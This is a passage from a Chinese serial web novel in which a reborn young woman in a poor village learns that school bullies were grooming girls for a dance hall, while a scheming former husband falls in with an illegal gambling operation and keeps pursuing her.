“爸,你不能不分青红皂白啊?”
“你没说这句话吗?没有自称自己是地痞头子?”
“我……我……”张天鸿气到无语,“那是……吓唬……”
“吓唬?你再搞这件事,你就是个地痞头子。我张家出不了你这种人。你给我滚。”张德梁恍如失去理智般,气急下说出这字。
张天鸿年轻气盛,怎么经得起激,直接摔门离去。
唐琪火了,一巴掌拍在张德梁的臂膀:“你这是干什么呀?儿子打架是为了帮人,这不是和你年轻的时候一样嘛。”
“我不会口不择言说自己是江源县的地痞头子,明摆着送把柄给对手。”张德梁深吸口气坐下,“你别管这事。”
“我不明白,现在不是应该大事化小小事化了吗?你不是说这次厂书记的位置…
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…”
“你是他亲妈,你觉得他喜欢这位置吗?”张德梁心平气和地说句,目光复杂地看向楼梯口。
本想劝架的张茉莉接收到老爸犀利的眼神,抿着唇退回楼上。
唐琪思考了番,摸到了丈夫的心思,神色渐趋平静:“你改主意了?”
“这次我看到赵有归,和他谈了不少事,他也给我说了当初连长选拔的情况,还有你儿子在队里的精神面貌,给我的触动很大啊。孩子的路要他们自己选,他们才走得有劲。罢了,若有机会,天鸿想回队就回队吧。
呵,八一村的造纸厂太小,关不住你的儿子啊。”张德梁感慨地笑着,“这俩孩子不够聪明,但好歹有点血性,像我。”
唐琪深吸口气后也坐下,平易近人的脸上露出两个酒窝。在她温柔的神情下,越发亲切动人:“你刚才的样子真是吓死我了。孩子没你的份吗?有血性像你,不聪明像我?你教不好怪我头上啊?”
“这……我没这意思,这就是出戏。”张德梁知道刚才的话重了点,贴过去求饶,“老婆,外头知道咱们父子不对付,那些有心人就会想办法接近天鸿。张天鸿可是一把好刀,不管戳哪边都锋利。”
张德梁越说越自豪,发现妻子的脸色越来越黑,一拍嘴,“呵呵……说多了。饭好了吗?咱们喊茉莉吃饭。”
唐琪白眼自家老头,起身去端菜。
——
“这帮人真是欺人太甚。”林大宝坐不住,起身时被林兰香拉住,“你拦我干什么?”
“你去哪里找人理论,同人家女学生打一架,还是跛着脚打到别人家里?”林兰香白眼林爸,面上愠怒、心里发急,忍不住一指头戳在林语晨的太阳穴,“有事不能忍一下吗?你回头找爸妈说,爸妈会请赵二叔出面同学校去说,不能忍忍你的脾气?”
“妈,知道了。”林语晨恹恹地应完,打算回房间躲着。
赵松海一到林家就把事情一五一十地说清楚,特意提了楚邵几句。
“你怎么还戳你女儿呢?她已经在外面受了委屈。”林大宝很不得劲,也恨自己无能。
“我不是怕她吃大亏吗?我希望她忍一忍,只要这学期过去,参加高考,不管能不能上大学,文凭总能到手吧?”林兰香长吸口气,盈了泪,“那些人已经欺负过她一回,我不想打回去吗?上一次,我还去学校赔礼道歉,给我们理了吗?人家姐姐欺负完,妹妹接着欺负人,真是欺人太甚。”
林语晨在房门口停下,深吸口气后回堂屋:“妈,这次真不一样。张校长是市里新派的校长,零容忍校霸凌的事。你放心吧,在学校里我很安全。”
林兰香和林大宝面面相觑,有心做什么又很无力。
大多数家长在这种时候都很无助,不知道怎么办得只能默默祈祷女儿说得是真话。
这日的傍晚,林家异常沉默,一家子沉默地开饭……一直到赵有归闯进来。
“哟,林叔,林姨,吃饭呢?”赵有归看向神色平静的林语晨,有力的眸光含着柔和的笑意,“这是我在市里买的罐头,拿来大家尝尝鲜。”
“有归回来了,这又破费什么呀,拿回去给沈大嫂补身体。”林爸直接说。
林兰香也帮腔:“是啊,有归,拿回去吧。”
林语晨在三人的推拒中直接拿过罐头:“谢谢。”开始抿玻璃瓶盖,几下后依旧没打开,紧得要死。
赵有归坐下,递过手:“我来吧。”接过黄桃罐头,倒过来,拍了几下瓶底,再就打开瓶盖。
23. 江风冷
林语晨拿回开了盖的罐头,倒进空碗,清澄的汁水浸泡着黄桃肉,属于这个年代非常精致昂贵的饮料。
她抿唇笑着,先痛快地大喝一口,冰冰凉凉,甜到心里:“哇,真甜。你们要来点吗?”
林爸林妈默默地看着女儿,知道她的异常举动是想逗俩人开心。
林爸响应:“要,给爸也来一碗,尝尝大城市里的罐头什么味儿。”
林兰香心觉轻松,起身给赵有归拿碗筷:“你叔的心里啊不痛快,留下来陪他喝一杯,说说话。”
赵有归本要拒绝,闻言应道:“好,麻烦林姨了。”
饭后,林爸因为有心事,喝得有些熏,喊林语晨送赵有归。
林语晨也正好觉得家里闷得慌,随赵有归出门。
两人有意识得没往有归家的方向走,一起往村自留地、灵源江边的方向走去。
“谢谢你的罐头。人家说心情不好的时候吃点甜的东西会开心,这是真的。”林语晨先笑出声。
翻过自留地就是灵源江岸,晚春吹来的江风比较大,夜里还是有点冷。
往后,新农村建设,这里还会修四车道的大马路,建设休闲廊桥。现在的赵家村穷,在未来却是风水宝地。
赵有归脱下藏青色的中山外套,递给林语晨。
“人们常说春捂秋冻,还没彻底入夏,穿上吧,别着凉。”
林语晨默默地接过薄外套,闻到一股不轻不重的汗味儿,不难闻,甚至有点……性/感。
思绪一茬,她想起前世楚邵找小三时宣扬的科学借口:两个人合不合适就是看彼此会不会被对方吸引。若是你觉得另一个人的气味让你舒服,那是你的基因在寻找另一半。
渣男想要出轨就是有各种理由!
赵有归下意识就笑了,窈窕得她被大大的外套包裹,让人有种难以形容的满足。
眼神奇妙地对上,又极快地错开。
不等赵有归说话,林语晨先自若地说:“对了,我听赵三叔说,林家村和赵家村合村了,新村就叫新建村。村委也已经陆续接到村民的募捐。
有归哥,你真厉害,这事还真让你说中了。”
赵有归已经意识到这个情景唐突,背对江岸,远眺隐隐错错的山峦。
“其实,我没做什么,还是因为大家都想富,才能一心办成一件事。你记得提醒林叔,让他别忘记去募股,这是你的任务。”
下意识带出前世工作时候的语气让他忍不住皱了皱眉头,不知何时背在身后的手也极快地放到身体两侧。
她这么聪明,应该没注意到吧?呃,乱了。
林语晨与他背道而行,走在菜埂上,闻言想起与他深夜来回走得那些时候,低头看着脚下的小路,莞尔说:“放心,我一定会把赚钱的事放在心上。”这个社会,有钱才能少受欺负。当然,与权利相比,金钱显得是陪衬。
一想到这,她的眼神落在转身望来的赵有归身上,有些出神:这个男人的命运会因为自己提议的一通电话而改变吗?若是他因此改变了命运,我可以向他要求……
——不行,林语晨,你怎么又自私了?这和楚邵有什么区别?
林语晨的心情一下子变糟,商人逐利、会权衡,她也少不了这毛病。
赵有归没有察觉林语晨的百转心思,接着说:“其实,我想帮林姨在县里找个房子,或者她可以做点小生意。后来,我发现县里的情况并不适合她过去,还是缓一缓得好。”
林语晨背对他,朦胧暮色掩盖她面上的惭愧。
“现在的县里确实不太平,我妈上县里说不定被牵扯进不必要的麻烦。再者,我住校很安全。”
说完这些又有些出神,这个男人为什么帮我呢?
啊……报恩啊!
他在用力所能及的方式回报林家送沈秋霞上医院的恩情!
——呵,林语晨,你又在胡思乱想什么呢?
林语晨自嘲般笑下,又僵住……不明白这情绪是怎么回事?
她蹙着眉,回头说:“有归哥,今天饭桌上,我爸说了孙佳好欺负我的事,你别往心里去。学校里有一帮同学护着我呢,一个叫张茉莉的女同学还会家传绝学,也很有正义心。另外,赵晓琳这位学霸也护着我,坏人都不敢动我。”
赵有归默默地看着受害者反过来安慰别人,且一点没提今日街上的险境,往常坚硬的心生丝柔软。
“语晨,你害怕吗?”
“不怕啊。”林语晨想起回报孙佳好的举动,再有张茉莉见义勇为的行为,忍不住就告诉他这些经历,末了,自豪地说,“我是不是个暇眦必报的女人?”
赵有归听她拿洗脚水泼宿舍的壮举,羡慕张茉莉会武术的语气……不由想起回村时初遇林语晨得那幕,脚踹楚邵、拿盆敲他的头……联想到前世她躺在病床上还在收集证据,逼得楚邵走投无路。
——这个女人从来不是软柿子,确实有仇必报、有恩必还。
赵有归抿唇,压下泛起的笑意:“你应该和林叔、林姨说这些事。你说了,他们不会这么担心甚至内疚,难过帮不上你的忙。”
“我知道他们因为这件事难受。但是,若我说了,他们会更担心吧?以我家的情况,‘忍’才是正常人会做的选择。”林语晨轻叹口气,恹恹地踢在冒尖的小草上,一下子折弯了它的腰。
现实就如这小草,一点点碰撞就会让它折腰。
赵有归发现她的坏心情又回来,以林语晨的心智,知道真相应该会更理智地判断这件事。
他决定告诉她实情:“知道孙佳好为什么欺负你吗?”
林语晨抬头,眼神变得异常明亮,像是蕴着愤怒。
赵有归微顿,忙解释:“我不是那个意思,没有说是你错了。”
“我当然没有错。她们欺负人还要找理由吗?”林语晨有点动暗火,开始往回走:赵有归不会以为我没事找事才会被人欺负吧?
“记得比你高一届的淳于蓝吗?”赵有归连忙说下去。
“淳于蓝?”林语晨好奇地停下脚步,回头看他。
当然记得淳于蓝这个学姐!
正因为有淳于蓝的前车之鉴,才有林语晨一怒之下逃学的勇气。
“记得,她是被孙佳人带头欺负走的高一届学生,我和她虽是前后脚的事,但我见证了她离开学校的全过程。其实,在那之前,我还听说过几位被孙佳人欺负走的学生。
有些男同学非常不要脸,说我们离开学校是为了卖……做……我说不出口。”
“淳于蓝死了。”赵有归平静地阐述这件事,“一年多前,差不多在你离开学校的时候,淳于蓝因为无法直视经历而在家中自杀。她的父母告到市局,因为案件线索非常明确地认定是自杀,所以不能予以立案。但是,她是被别人害了才会自杀,淳于蓝的父母一直不甘心就这么算了,也一直在找地方告那帮人。”
“你的意思是她被别人害到自杀?”林语晨有些震惊,“为什么?”
“在校被霸凌,离校被人渣欺辱,而这些事会造成严重的心理创伤。”赵有归沉重地说出这些理由。
若是早重生回来两年,说不定能改变部分女孩的境遇。
林语晨默然,想起另一个姓氏相同的女孩:“原定寝室的淳于芳是她的堂妹。淳于芳看我的眼神很奇怪,这几日我一直不明白她为什么帮我,现在有点头绪了。”
“淳于芳应该是知情人。淳于蓝被人胁迫做不愿意的事,多少传到旁人的耳朵。”
赵有归严肃地说,“孙佳人、孙佳好欺负女同学不是为好玩,主要目的是在为宝誉歌舞厅提供人。你是她们的目标之一。”
林语晨惊到张大嘴,一时间脑海里浮现多好曾经忽视的细节。
“我……是孙佳人的目标?
她曾经是羞辱过我,说我家没钱,为什么不到歌舞厅去赚钱,原来这些是暗示?”
林语晨难以置信地捂住嘴,曾经都被什么包围着?
“还有,我第一次去灵江市的时候,差点被人拐卖。幸好我意志坚定,绝对没有要离开灵江市的意思,这才发现不对劲的地方。当时有人帮了我,才让我从火车站逃出来。那时,我也只以为是个意外。
后来,我想过这茬,当时是孙佳人在县
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上堵我,在我面前一直说灵江市怎么样怎么样……还说我是乡巴佬、没见识来着……激我去灵江市。”
赵有归仔细地听着这些内容。
林语晨的话非常重要,因为这可能涉及人口拐卖事件。孙不二做的恶事可能远比现在掌握的情报还要罪大恶极。
林语晨贯穿霸凌者的细节和目的,彻底震惊:“我的天。孙佳好接着干她姐姐干过的事,就是想赶我出学校,让我被社会抛弃,走进歌舞厅?这些人太天真吧?”
两辈子去歌舞厅的次数用一个指头都数得过来!
赵有归很理解林语晨为什么不会被骗,却上了楚邵的贼船。因为楚邵的局在前世更适合她的情况。
“你经常看报纸,知道不少外面的信息,不会轻易被诱惑或上当受骗。在家时,林叔、林姨看着你,而那些家里孩子多的人家未必能看住每一个孩子。
语晨,你是幸运的,但是重回学校,你会再次面临这些麻烦,得有个心理准备,提防她们。
另外,先劝林姨不要去县里租房。”
“明白。我会让我妈打消这个念头。”林语晨眨眼,仰看日月交晖下的高大男人,“你已经盯着这事,说明你会办了他们,对吗?”
赵有归弯起唇角,突然很想揉揉她的头。
“嗯。时机没到,要打就要一网打尽,不留后患。”
宝誉歌舞厅的幕后势力牵扯很广,要有争对性的排查以及搜集证据。
林语晨沉重地点头:“扫黑除恶专项斗争一定要落实。不然,苦得还是一方百姓。
有归哥,谢谢你告诉我这些。不然,我一直都不明白为什么会被她们欺负,我还真以为自己长得天妒人怨呢。呵呵……”
赵有归听她会说笑了,知道这姑娘的心结解开了,证明告诉她整件事的原委是对的。
“回去吧。对了,我要请你帮个忙。”
“你说。”林语晨哂笑,“本姑娘上刀山下火海一定帮大人办妥。”
“呵,不用你这么大力。我想带我妈去城里住几天,主要是检查身体。但是,她很固执,不听劝,希望你明天能帮我劝劝她。”赵有归送她回到林家门口。
林语晨觉得这不是大事,爽快地答应:“好。婶婶很听晓琳的话,明天我把她一起拉上,帮你劝婶婶上市里去。”
“哎……”赵有归没想过要牵扯上赵晓琳。
“你一个大男人不用我送回去吧,自己回吧。我先回家了,晚安。”林语晨直接进院,当赵有归的面关上院门。
赵有归忍俊不禁地看着关上的门。这姑娘真是……无情得很。
“晚安!”
回到家时,沈秋霞已经洗好碗筷,朝他说:“我见你去了不回,就知道你留在林大宝家吃饭。累了吧,快去洗洗睡吧。”
“妈,明天我做饭,陪你一起吃。”赵有归应道,得了沈秋霞一记笑,笑着去洗刷。
——
江源县往灵江市的路上有一个叫狮虎村的地方,位置不偏,还是交通要道的必经村落。
楚邵在林裕宝的指示下开着货车、载着几个人,一路开进狮虎村-上山村前的祠堂。
他听着祠堂里传来稀里哗啦的洗牌声和押注声,环顾黑油油的群山,震惊地说:“林哥……这里……不是……”
“想不到吧?谁也想不到有人把赌庄开进别人的祠堂,而且距离灵江市不过二十来公里,哈哈哈。你也想不到平时去采石场拉货的路线,拐个弯就是这祠堂,只隔了一座采石山。”
林裕宝的话里充满得意,“这次若不是你帮了我,我不会这么快接纳你。楚邵,进去后看到得一切都不能对外说,你做得好,这里的财路有你一份,你有了钱,想怎么投资赚钱就怎么投。哥看好你啊。”
楚邵咽口吐沫,瞬间想起赵有归得那句话:林裕宝是不是办了地下赌庄?
一时间,他的手脚都在发凉。
林裕宝自以为聪明,实则早已经被灵江市的市局盯上了。
林裕宝箍在楚邵的肩头,豪气地大喝一声:“走,哥带你去见识一番。”同几个小弟一起进了喧闹的场子。
24. 女朋友
清早,林语晨背完历史的知识点就挎篮子去地里摘菜。
算算时间,七月份想要考出好成绩很难,学习的时间太短,就连林妈都只希望拿到高中毕业文凭。
“语晨,我有事找你,不会耽误你摘菜。”楚邵挂两黑眼圈堵住林语晨的去路。
林语晨停下背诵,绕过他,直接进自家的自留地里摘菜,不搭理这人。
楚邵的心里重得像是挂块铅,灵魂像是铅绳上的浮漂,再不解压就要沉没进水,再也拔不出来。
一想到前世被警车追得满大街跑,怎么都躲不开,那种惊慌失措的感觉让他的手脚发颤。
“语晨,你听我说,你不知道我发现了什么……我……”
面对冷漠的林语晨,楚邵的眼里润上泪,一下子蹲下来,沉默地帮着她拔菜。
明明是灵江市的首富,已经是横着走的大人物,一朝被揪出来,就成过街老鼠。开局重来,一穷二白,还掉进林裕宝这大坑,憋得他难受啊。
林语晨观察看他的异常,一语击中核心。“你参与什么违法事件?”
前世,楚邵第一次向高官行贿回来就这德性,一开始是慌,怕事情办不成,花出去的钱打水漂。
后面,他开始沉默,然后骂骂咧咧地决定这点钱不行就再投入一笔,信奉“没有钱砸不开的门”。
楚邵拎着带泥的菜,愣顿在那:“你……你怎么知道?”
——一朝被蛇咬十年怕井绳,说得就是你。
林语晨冰冷地说:“我不想跟坏人混作堆。对了,林家村和赵家村合村的事已经有红头文件,办集体厂是板上钉钉的事。所以,赵晓鹤不能借钱给你,对不起啊。
不过,林家村村民也可以入股集体厂,对你们家也有好处,对吧?”
不跟坏人混作堆?说得容易!
现在我怎么脱身啊?我都知道林裕宝的秘密了。
楚邵的眉毛挤做一堆,无精打采地说:“这得看家底啊。对我有什么好处啊?”
“你现在是司机,工资比城里人高两倍有余,知足吧。”林语晨一把拿过他手头的菜,用刀割断泥根,放进菜篮。
“你不懂。我也不懂,这事怎么就变成这样,一定是有人改变这一切。我怀疑……”楚邵斜挑眼神,睨向林语晨。
林语晨割菜的手稍抖,继续稳稳地摘菜,没有接他的话。
“我怀疑赵晓鹤的情况特殊。但是,他那傻样子看着也不像啊。我还试探过改变最大的赵有归,最有可能是他!”
楚邵叉腰起身,先不提林裕宝犯法的事,先说眼前的村集体厂,“还有,八一村的造纸厂和咱们两村的造纸厂结对子这件事就透着古怪。你知不知道张家会被灭门啊?我记得主持八一造纸厂得分明是钱忠源。”
林语晨猛地站起来,震惊地说:“你说什么?灭门,张家,哪个张家?”
“哎,我……瞎猜的。不过,晨晨,你信我,你的同学张茉莉是现在主持八一造纸厂——张德梁的女儿。他家日后定有一劫。”
楚邵嚅着唇,“我知道昨日张茉莉救了你,你提醒她注意些就好,算是还了情。”
林语晨僵住,转眼把手里的菜砸他身上:“你有病吧?随随便便诅咒人家。你当自己会算命吗?我拿什么提醒她?空口白牙啊。
楚邵,我不是第一次发现你……这……”指着脑袋处,“拎不清。”
林语晨骂完蹲下身,继续割菜。
没错,前世确实有一起震惊灵江市的灭门案,就发生在江源县。但是,对于彼时忙着奔波个人造纸厂工作的人来说,自家都揭不开锅了,谁关心别人的生死。
钱忠源!按楚邵的意思,钱忠源是八一造纸厂后来的主持者,那么他就是最大的获利者。难道张家灭门与他有干系?
该怎么提醒张茉莉呢?
“晨晨,你就当我胡说。你说得对,空口白牙,没人会信。”楚邵改了口风。
林语晨的思绪有点乱,顺着想法说:“你确实胡说。张茉莉厉害着呢,有家传绝学,说明她哥、她爸一定很能打。”
“能打不一定躲得过阴谋诡计啊。你还嫩,不了解人心。若是有人在家宴上下毒呢?哎呀,我又乱说,我就是管不住这张嘴。该打。”
楚邵自拍一巴掌,看向自顾摘菜的人,“晨晨,你知道我现在的工资,知道我喜欢你,愿意做我的女朋友吗?”
林语晨的动作没停,头也不抬:“不愿意。我要高考。”
“究竟谁让你去高考啊,难道真是赵晓鹤?”
一定要找到这个改变一切的人,简直是既生瑜何生亮啊,闹心!
林语晨拎起菜篮子,准备回去。
楚邵跨过菜地拦她,面对抵过来的刀尖,连忙后退:“真是……赵晓鹤?”
林语晨睨他,清清冷冷地嗤着:“你知道这些干什么?你先把自己的破烂事解决好吧。”
楚邵一下子回到那个难题,心里一横,决定告诉她真相。
“林语晨,我要告诉你一个关于我得最大的秘密,和你的未来有关系。其实,你和我……”
林语晨冷静的眸光看着面容坚定的男人,心知他说得秘密是什么。
但是,现在得林语晨并不想知道这个秘密。知道后容易被动进入楚邵的局。
“大宝家的姑娘啊,谈恋爱呢?”
六十多岁的赵建忠扛着锄头、拎着篮子路过自留地,笑了声,“年轻好啊,听有归说市里有个电影院,你们谈恋爱去市里看电影啊,在菜地像什么话啊。”
楚邵被这两句抢白焖哑火。
林语晨趁机一把推开楚邵,快步走掉。
“晨晨,你听我说……”楚邵追上去,回头瞪赵建忠,“我记得你!”
林语晨也记得赵建忠,当初林爸提议帮村里的老人安排看病,就是帮这赵建忠。没想到今日老爷爷帮忙解了围,真是奇妙的缘分。
“林语晨,别走这么快。等等我。”楚邵头都大了,过了情绪上得那个点,已经不想再说重生的秘密。
两辈子跟这个女人比脾气、比聪明,就没赢过。
“晨晨,你等等,说昨天的事,你知道我出力了吧?”
林语晨停下脚步,回头看向他:“你有完没完?”
楚邵肯定地说:“没完。这辈子,我没娶到你就没完。晨晨,你听我说,我跟那些混混说了,你是我的女朋友,他们才不敢动你。咱们得把这件事坐实,不然……”
“不然什么?不然,上个县里他们还要欺负我?”林语晨烦躁极了,这个人给得仅有的情绪价值只有愤怒。
“那些人是林裕宝的人,对吧?”
林语晨提着的刀狠狠地戳在他面前,吓得楚邵差点坐个屁股蹲,“你本来在帮林裕宝开车,认识他的人有什么好奇怪?
你帮了我,我说:……谢谢?”
谢过了赶紧滚!
楚邵抿唇,感觉回报太低,而且林语晨不应该是这个态度,究竟是哪里错了?
“晨晨,你答应做我的女朋友。你上江源县才安全啊。”
林语晨拿刀柄按了按眉心,尬笑:“迟了。我答应做张茉莉的女朋友。”拎着菜篮子就走,没再理睬呆若木鸡的楚邵。
楚邵再次追上:“晨晨,别开玩笑。这件事的问题很严重,你知不知道他们以前就盯上你。”
林语晨蹙眉,默
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默地加快速度。
赵有归在昨日已经把这个消息共享。
“为了你的安全,你必须听我的话。总之,今天我就会对外宣布,你是我的女朋友!”楚邵自我认可地点头,“不管你同不同意。”
“你真是听不懂人话。”林语晨彻底恼火,直接把菜篮子往他身上砸去,“你到底有完没完?茉莉比你能打,人比我高,家世也好,做她女朋友怎么都比做你女朋友强吧?”
死桃花眼,滥情得要死,气死了!
楚邵被砸懵:林语晨脑子坏掉了?不做男人的女朋友,却去做女人的女朋友?
他下意识伸手抱她,却扑个空。
林语晨连篮子都不要,提着刀跑掉。她怕冲动起来,不止扔篮子,直接捅他两刀。
——
“你不是去摘菜吗?篮子呢?”林兰香纳闷地看着女儿洗手后冲进房间,眼一转就看到拎篮子进院的楚邵,一时不知道该赶还是该请,“是你啊。”
“妈……阿姨,我帮晨晨拎篮子呢。菜都在这。”楚邵看着有点烂掉的菜,赶紧递去,“晨晨呢,回房间啦?”
林兰香偷偷地捏把汗,这声妈喊的人跑魂。
“谢谢你啊。”她堵在林语晨的房门口,看着眼神巴巴的小伙子,“我听赵家三叔说了,你在县里帮过林语晨。这样……进来喝杯茶。
她爸去村委了,还没回来,你先坐一会。”上门不欺客,何况人家确实帮过忙,请进来喝杯茶是待客之道。
楚邵笑开,感觉又回到当初追林语晨那会。他不客气地坐下,屁股还没热又赶紧起来:“阿姨,我来吧。我熟……活,我会干活。”
林兰香看他熟练的倒茶,倒完后跑去洗菜,一时间泛起说不清的滋味。小伙长得确实好看,若是一直这么勤快……不不不,林语晨要高考。
没两个月就考试,她考不上大学……
内心充斥各种想法的林兰香都不知道怎么阻止这小伙的勤劳。
“阿姨,叔去村委募股了吧?你家打算拿多少股啊?”楚邵边洗菜边唠嗑,时不时还憋回个哈欠。
“我家就那点钱,能拿多少股啊。”林兰香没透露,看到林语晨开门出来,不由起身,“晨晨,去哪呢?”
“哦,有道题不会做,我去找赵晓琳帮忙。”林语晨都没看楚邵,直接跑出门。
楚邵本想跟出去,又觉得这是和林兰香拉进关系的机会,决定先搞定丈母娘,曲线救国,再一起搞定媳妇。
林语晨出院门后长吸口气,空气都舒畅不少。对付无赖只能比他更无赖。
但是,她还不想现在就撕下这张皮,先让楚邵张狂几天。
一路经过赵有归家的院子,正好见赵有归在做饭,赵晓琳在烧火。
这情形还要外人帮忙说服沈秋霞吗?
——眼疼!
“怎么有种全世界糟糕的事都堆在这上午的感觉!”林语晨碎碎念句。
“晨晨,你来了。”沈秋霞拎着桶,里面是从灵源江洗来的衣服,“快进屋啊。”
“语晨姐,快过来。”赵晓琳从灶下起身,抹了灰的脸别说多嫩多可爱了。
林语晨木木地进门,朝小姑娘点头,又看向眼神明亮的赵有归:“这情况,应该不需要我帮忙了吧?”
“要啊。我妈又没答应,晓琳也不知道这事。”赵有归倒杯水递去,“妈,我来晒衣服,还剩下一个菜,那菜要你烧才好吃。”
“行。焖老豌豆是吧?我来烧。晨晨,留下来吃饭。”沈秋霞接手赵有归烧菜的活。
赵晓琳有些不解:“语晨姐,你和有归哥说得什么事啊?”
怎么觉得有归哥和语晨姐有秘密?
25. 五雷轰
林语晨朝赵晓琳耳语两句,说了昨夜赵有归的请求。
赵晓琳立时明白,马上就说:“沈阿姨,你一定要去灵江市。我小姑说了,灵江市的医疗水平比不上首都,但也是属于国内前沿。
你有肺水肿的情况,必须要好好调养,平日多观察。若不慎再染上炎症,再肿起来是会压迫心脏的。”
沈秋霞含笑炒着菜,听完后看眼晓琳:“琳琳,你将来一定是一个好医生。阿姨啊,等着你给我看病呢。”
“当然可以了。不过,我学医有成还得好几年呢。你的身体现在就要接受检查,必须去市里的大医院。另外……”赵晓琳突然闭口,没继续说下去。
沈秋霞察觉异样,含笑的脸慢慢放平,看向她:“怎么了?是不是你小姑还说了什么?”
“没有啊。”赵晓琳知道赵莓莓说过什么:风湿性心脏病。时间一长,血管瓣膜的供血功能减弱,必须做搭桥手术。而地方市级医院的医疗科技做这个手术非常困难。
“沈阿姨,如果你不去医院检查,有归哥怎么能安心工作?”
林语晨也察觉到赵晓琳的迟疑,帮腔说:“是啊,婶婶。我听我妈说,有归哥在城里有单位分的房,你过去也不用担心住的地方,就当是出门旅游,进城开开眼,回来同我们说说呗。”
沈秋霞又笑起来:“说起进城,晨晨去过灵江市吧,好像是去年的事。”
“我那次……就是去玩。哦,为看看大城市的风貌。
婶婶,你知道灵江市的大街有我们六条土路那么宽,路上的自行车抵得上我们几个县的人口数量。大街两边的商店里卖什么都有,扎头发的夹子,多得人眼花缭乱,还有涤纶布料做的裤子、牛仔衣裤、雪纺类的衬衫,连真丝做旗袍都有呢。
城里的纸是双面白色,非常贵,比我们这边生产的白卡纸薄多了……呃,嘿嘿。对了,长途汽车站、火车站那些地方,大江南北来得人多到不行。我去看过,可热闹了。我还问过站台,灵江市可以坐火车上首都。”
林语晨巴巴地说着市里的风光,焖了老豌豆的沈秋霞想象那场面,确实挺壮观,甚至想看看真丝做的老旗袍是什么样。
赵晓琳也帮腔:“我真想去。等七月考试考完,语晨姐,我们再去一次灵江市吧。”
“好啊。”林语晨点头。
沈秋霞就道:“好啊,等七月份,你们考试考完,我和你们一起上市里。”
“呃……”
林语晨和赵晓琳面面相觑,逗得沈秋霞咧嘴笑出声。
沈秋霞看眼晒完衣服望来的赵有归,温柔地说:“好了,婶婶不逗你们。婶婶知道你们是有归的说客。行了,等星期天下午,婶婶和他一起去市里。婶婶先去给你们打头阵,好不好?”
“好啊。”赵晓琳开心地应道,回头找赵有归,发现他的眼神落在旁边,不由侧头看向林语晨。
林语晨并没有看赵有归,而是看着沈秋霞亲切温暖的笑容。
她希望林兰香也这么开心,少些不孝女儿带给她的烦恼。
“琳琳,快撤火,差不多了。”沈秋霞错开眼神,看到赵晓琳颦起的英眉,深怕晓琳多心而影响学业。
赵晓琳应声,赶紧撤火,在灶下看向林语晨:“语晨姐,你留下来吃饭吗?”
“不啊,我得回去呢。”林语晨朝她咧嘴,拍了拍手,“婶婶,我……”
“别说了。有归在你家吃几顿了,你得留下来吃饭。我从江边回来,路过你家院门口。你妈喊住了我,那个小美大姑娘在你家吧?你不想见他就在婶婶这躲一会。”沈秋霞一语道破林语晨的窘境。
赵晓琳顺势说:“是啊,语晨姐,你在这吃饭吧。我要回去了。”靠近她轻声耳语,“不然,我妈得赶过来喊我,多尴尬啊。”
又看向沈秋霞,“阿姨,我妈一会找我呢。我先走了。有归哥,我走了呀。”
“我送你。”赵有归应道,送赵晓琳出院门,叮嘱句,“谢谢你,晓琳,一定要用心复习,有归哥为有你这样棒的妹子骄傲。”
赵晓琳听这话,眼里有点湿漉漉,心里也哽起来。
她没辩,而是说:“有归哥,我们说好了,我会去你的城市当医生。那时候,你可得关照我。”
“当然。”赵有归目送赵晓琳离去,暗松口气,一回头对上林语晨清泠泠的眼神,心怀坦荡地找个话头,“楚邵……在你家?”
“嗯。他好像遇到什么事,看起来像是一夜没睡,而且说了奇怪的话。”林语晨自然答道,等着他继续问下去,就可以透露张家灭门案,却发现赵有归在发呆。
沈秋霞看着门口的两人:“有归,晨晨,吃饭了。”
“哎。”
两人异口同声,对上眼又错开。
赵有归含笑说:“吃饭吧。一会我去趟你家,我找他有事。”
“嗯。”林语晨没法再接那话,看着赵有归大步进屋的背影,又生出那种奇怪的感觉:这个男人好像已经盯上楚邵。
饭桌上,沈秋霞说了很多担心进城后不适应的话,看起来总是迈不出那步。
林语晨安慰她:“婶婶,有归哥在,你担心什么呢?何况,即使有归哥不在,这么多年,遇上事,哪件事你没处理好啊?”
赵有归听到这话很惭愧,放下空碗握着母亲的手:“妈,别怕,一切有我。”
沈秋霞红着眼点头,朝林语晨说:“让晨晨看笑话了。婶婶不说假话,婶婶进了城,有归若不放我回来,你可得来接我回家啊。”
林语晨忍俊不禁,连连点头:“好。若是有归哥不放你回来,我就去接你。”
“拉钩上吊不许骗。”
林语晨着实没想到沈秋霞还有这样稚气的一面,配合地伸出小指头:“一百年不许变。”
赵有归想起小时候,母亲那时也是开朗的,对生活充满希望和期盼,两人也做过拉钩的约定,一起等爸爸回来。
然而,时间是奇妙的东西,生活在它的影响下变得死气沉沉。
此刻,孤冷的心像是被什么扎出个窟窿,生出疼痛,刺得他惭愧地红了眼。
“妈,你和晨晨坐,我去洗碗。”
林语晨要帮忙,被沈秋霞拉
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住手。
沈秋霞轻声说:“随他去。十多岁的时候气盛,他想做什么就做什么,谁也拦不住。我差点跪下来求他不要丢下我,偏就去了。
现在,他知道孝顺,回来了,会心疼我这个妈。我的心啊……一下子,年轻好多。呵呵……”
林语晨看着沈秋霞低头抹泪,递去白色的手绢。
沈秋霞摆摆手,取出块差不多颜色的手绢抹泪:“没事。婶婶有,学你买了块。呵呵……”
林语晨陪她笑着:“婶婶,以后有归哥会一直在你身边尽孝的。”
沈秋霞点头:“我怕他过不去心里那道坎,放不下肩头得那份责任。”
“这话我爸也说过,但是我妈说得没错,有归哥想报效国家,在哪个岗位上都可以。有心做事不怕晚,更不拘于在什么地方。”
沈秋霞狠狠地点头,宽慰许多。
“你爸妈是通透人。我啊,真怕人家说是我耽误有归,心里一直过不去这道坎得人是我啊。”
“你别自责。他现在做警察,又能照顾你。忠孝两全,正是最美的事了。”林语晨劝道。
屋外的赵有归洗着碗,听着屋子里的谈话,咧起唇角。
——
楚邵一直赖在林家,等开饭了,林家一声“留下来吃顿便饭”就直接上桌,且要和林爸喝酒。他拿前世的经验逗得林爸哈哈大笑,便是林兰香都感觉这孩子没想象中的不好。
嘴巴能说,工资不低,会来事。家哥哥妹妹一大家子,以楚邵的情况,多劝他几句让他入赘,也有可能成。
林大宝和林兰香就一个女儿,即使楚邵不入赘,肯答应一起住,也是挺好的事。
楚邵大着舌头,直接把这个想法吐出来:“林叔,林姨,你们放心,只要你们答应把晨晨嫁给我,我们生两个孩子,不拘男女,头个孩子一定姓林,第二个孩子姓楚。赚钱养家,男人的事,我的事。家里交给晨晨,钱财全归她管。而且,我发誓:楚邵这一辈子若是敢对不起林语晨,天打五雷轰,不得好死。
林叔,喝了它,答应我!”
杯子撞在热血沸腾的林爸酒杯上,仰头就喝完。
